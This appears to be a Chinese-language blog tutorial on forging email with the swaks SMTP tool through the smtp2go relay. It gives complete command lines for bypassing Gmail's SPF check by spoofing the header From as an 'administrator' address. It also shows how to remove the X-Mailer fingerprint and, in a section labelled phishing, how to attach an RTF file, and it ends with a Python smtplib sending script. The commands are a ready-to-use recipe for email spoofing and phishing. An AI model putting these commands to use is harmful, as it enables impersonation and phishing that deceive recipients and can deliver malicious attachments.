0x00 swaks
swaks - Swiss Army Knife SMTP, the all-purpose smtp transaction tester.
swaks堪称SMTP协议的瑞士军刀,使用它我们可以灵活的操作SMTP协议报文,这篇文章主要是记录一下我是如何伪造一封邮件绕过gmail的检测。
通常最简单的发送命令:
swaks --to [email protected] --server test-server.example.net
但是邮件头中会带上X-Mailer
:
同时,SPF检测会FAIL。
0x01 smtp2go
这个是从evi1cg师傅那里看到的,smtp2go主要是相当于邮件托管,可以分发子账户进行发送。
地址:https://support.smtp2go.com/hc/en-gb
(邮箱注册)普通账户可以免费发1000封邮件。
分配好账户后,可以通过swaks进行登录发送邮件:
0x02 swaks发送邮件
swaks --to [email protected] --from [email protected] --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au <USER> -ap <PASS>
但是上面这个邮件无法绕过SPF。
0x03 SPF验证原理
如果mail.smtp2go.com是我的邮件服务器,那么gmail服务器收到的源IP也肯定是mail.smtp2go.com的IP。
gmail会校验邮件发送者的IP是否存在于smtp.from的域名spf配置列表里。
而上面这条命令:
swaks --to [email protected] --from [email protected] --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au <USER> -ap <PASS>
smtp.from就是[email protected],和mail.smtp2go.com的IP肯定不同,所以SPF校验失败,而校验失败的邮件,会有很高的几率被扔到垃圾邮件中。
默认情况下,如果未设置Mail.From也就是邮件头的From,则会使用smtp.from作为Mail.From。
0x04 绕过SPF
由于邮件显示的是Header中的From不是smtp.from,因此可以将smtp.from设置为正常的邮件服务器地址,伪造一个Mail.From即可。
swaks --to [email protected] --from [email protected] --h-From: '管理员<[email protected]>' --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au <USER> -ap <PASSS>
Gmail接收到这封邮件后,会校验--from [email protected]
中的smtp2go.com是否等于mail.smtp2go.com的IP,由于是相等的,所以完成了SPF的校验。
而DKIM是校验邮件完整性的,smtp2go与Gmail直接使用的是TLS,不会发生什么问题。
swaks支持自定义某些Header,参数如下:
swaks --header-<Name> <Value>
如果我想去除Mailer特征,就可以这么做:
swaks --header-X-Mailer gmail.com --to [email protected] --from [email protected] --h-From: '管理员<[email protected]>' --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au <USER> -ap <PASSS>
0x06 附件、钓鱼
swaks --header-X-Mailer gmail.com --to [email protected] --from [email protected] --h-From: '管理员<[email protected]>' --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au <USER> -ap <PASSS> --attach /tmp/sss.rtf
定制发送:
swaks --data /tmp/mail.data --header-X-Mailer gmail.com --to [email protected] --from [email protected] --h-From: '管理员<[email protected]>' --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au <USER> -ap <PASSS> --attach /tmp/sss.rtf
/tmp/mail.data中是原始的邮件报文。
0x07 Python也可以做
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import smtplib
from email.mime.text import MIMEText
from email.header import Header
mail_host="mail.smtp2go.com"
mail_user=""
mail_pass=""
sender = '[email protected]'
receivers = ['[email protected]']
message = MIMEText('Hello World', 'plain', 'utf-8')
message['From'] = Header("[email protected]", 'utf-8')
message['To'] = Header(receivers[0], 'utf-8')
subject = 'SMTP 邮件测试'
message['Subject'] = Header(subject, 'utf-8')
try:
smtpObj = smtplib.SMTP()
smtpObj.connect(mail_host, 25)
smtpObj.login(mail_user,mail_pass)
smtpObj.sendmail(sender, receivers, message.as_string())
print "Success"
except smtplib.SMTPException:
print "Error"